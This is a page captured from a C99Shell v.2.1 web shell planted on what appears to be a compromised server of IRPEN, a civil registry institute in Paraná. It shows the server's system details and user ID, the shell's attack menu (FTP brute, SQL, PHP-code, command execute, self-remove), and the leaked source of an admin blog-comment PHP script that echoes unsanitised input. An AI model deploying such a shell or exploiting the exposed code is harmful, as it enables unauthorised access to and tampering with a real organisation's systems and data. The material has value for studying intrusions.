!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/admin/blog/   drwxr-xr-x
Free 9.43 GB of 93.48 GB (10.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     blog_comentarios_cad.php (6.47 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
    
require_once("../../config/config.php");
    require_once(
INCLUDES "conexao_inc.php");
    require_once(
INCLUDES "lib.php");
    require_once(
INCLUDES "lib_datas.php");
    require_once(
"blog_textos_class.php");
    require_once(
"blog_comentarios_class.php");
    
    
$id_texto $_GET['id_texto'];
    if (!
is_numeric($id_texto)) {
        
ir_para("blog_textos_lista.php");
        die();
    }
    
    
$blog_textos = new BlogTextos();
    
$blog_comentarios = new BlogComentarios();
    
    
$blog_textos->buscar($id_texto);
    if (!
is_numeric($blog_textos->get('id'))) {
        
alert("Texto não encontrato!");
        
ir_para("blog_textos_lista.php");
        die();
    }
    
    if (
$_POST) {
        
$id $_POST['id'];
        
$blog_comentarios->set("id_texto",$id_texto);
        
$blog_comentarios->set("data",$_POST['data']);
        
$blog_comentarios->set("nome",$_POST['nome']);
        
$blog_comentarios->set("email",$_POST['email']);
        
$blog_comentarios->set("comentario",utf8_encode($_POST['comentario']));
        
$blog_comentarios->set("ativo",$_POST['ativo']);
        
        if (
is_numeric($id))
            
$resultado $blog_comentarios->alterar($id);
        else
            
$resultado $blog_comentarios->inserir();
        
        if (
$resultado) {
            
alert("O comentário foi salvo!");
            
ir_para("blog_comentarios_lista.php?id_texto=$id_texto");
        }
        else
            
alert("Ocorreu um erro ao salvar os dados!");
    }
    
    if (
$_GET['alterar'])
        
$blog_comentarios->buscar($_GET['alterar']);
    
    if (
$blog_comentarios->get("ativo"))
        
$ativo[$blog_comentarios->get("ativo")] = "checked=\"checked\"";
    else
        
$ativo['S'] = "checked=\"checked\"";
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
    <meta name="Description" content="IRPEN">
    <meta name="resource-type" content="document">
    <meta name="classification" content="Internet">
    <meta name="robots" content="all">
    <meta name="rating" content="General">
    <meta name="Author" content="Netnigro Consultoria e Projetos em Informática">  
    <meta name="language" content="pt-br">
    <link rel="shortcut icon" href="imagens/favicon.gif"type="image/gif">   
    <link rel="stylesheet" href="<?=  HOST;?>css/irpen.css" type="text/css" />
    <link rel="stylesheet" media="all" type="text/css" href="<?=  HOST;?>css/menu_dropline.css" />
    <!--[if IE]>
    <link rel="stylesheet" media="all" type="text/css" href="css/menu_dropline_ie.css" />
    <![endif]-->
    <!--[if lt IE 7]>
        <link rel="stylesheet" media="all" type="text/css" href="css/menu_dropline_ie6.css" />
    <![endif]--> 
    <title>IRPEN | Instituto de Registro Civil de Pessoas Naturais do Paraná - 2008</title>
    <script language="javascript" type="text/javascript" src="../../lib/jquery-1.2.6.js"></script>
</head>
<body>
    <div id="wrap">
    
        <?php include "../topo_gestao.php";?>
        
        <div id="header-photo">
        </div>
        <!-- content-wrap starts -->
        <div id="content-wrap">
            <table width="100%" border="0">
                <tr><!--
                    <td align="left" valign="top" width="20%">
                        <?php 
                            
//Menu do site
                            //include(DIR_ADMIN . "menu_gestao.php");
                        
?>
                    </td>
                    <td align="left" valign="top" bgcolor="#cccccc">&nbsp;
                    </td>-->
                    <td align="left" valign="top" bgcolor="#FFFFFF" width="1%">&nbsp;
                    </td>
                    <td align="left" valign="top"> 
<form id="form_texto" name="form_texto" method="post" action="?id_texto=<?= $id_texto;?>">
          <input type="hidden" name="id" id="id" value="<?= $blog_comentarios->get("id");?>" />
         <h2>MANUTENÇÃO DO MÓDULO BLOG - COMENT&Aacute;RIOS</h2>
          <table width="550" border="0">
            <tr>
              <td>&nbsp;</td>
              <td colspan="3">&nbsp;</td>
            </tr>
            <tr>
              <td><?php if (is_numeric($blog_comentarios->get("id"))) { ?>
              <label for="data">Data:</label></td>
              <td><input name="data" type="text" id="data" value="<?= $blog_comentarios->get("data");?>" size="10" readonly="readonly" /></td>
              <td align="right">Ativo:</td>
              <td><input name="ativo" type="radio" id="ativo_sim" value="S" class="radio" <?= $ativo['S'];?> />
                <label for="ativo_sim" class="label_auto">Sim</label>
                <input name="ativo" type="radio" id="ativo_nao" value="N" class="radio" <?= $ativo['N'];?> />
              <label for="ativo_nao" class="label_auto">N&atilde;o</label></td>
              </tr>
            <tr>
              <td><br class='clear' />
                <?php ?>
              <label for="nome2" class="info_campo">Nome:</label></td>
              <td colspan="3"><input name="nome" type="text" class="notnull" id="nome" value="<?= $blog_comentarios->get("nome");?>" size="50" maxlength="100" /></td>
            </tr>
            <tr>
              <td><label for="email2" class="info_campo">Email:</label></td>
              <td colspan="3"><input name="email" type="text" id="email" value="<?= $blog_comentarios->get("email");?>" size="50" maxlength="128" /></td>
            </tr>
            <tr>
              <td valign="top"><label for="comentario2">Coment&aacute;rio:</label></td>
              <td colspan="3"><textarea name="comentario" cols="50" rows="8" id="comentario"><?= utf8_decode($blog_comentarios->get("comentario"));?></textarea></td>
            </tr>
            <tr>
              <td>&nbsp;</td>
              <td colspan="3">&nbsp;</td>
            </tr>
            <tr>
              <td colspan="4" align="center"><input type="submit" value="Salvar" />
                 <input type="button" value="Voltar" onclick="javascript: location.href='blog_comentarios_lista.php?id_texto=<?= $id_texto;?>';" /></td>
               </tr>
        </table>
    </form>
                        <br />
                    </td>  
                </tr>                
            </table>
        </div>
        <div align="center">
            <strong><br />
            Rua Mal. Deodoro, 51 - Galeria Ritz - 18º Andar | Fone: (41) 3232-9811 | CEP 80.020-905 - Curitiba - Paraná</strong>
            <!-- content-wrap ends-->
        </div>
        <!-- footer starts -->
        <div id="footer-wrap">
        </div>
        <div id="rodape">
        </div>
    </div>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0035 ]--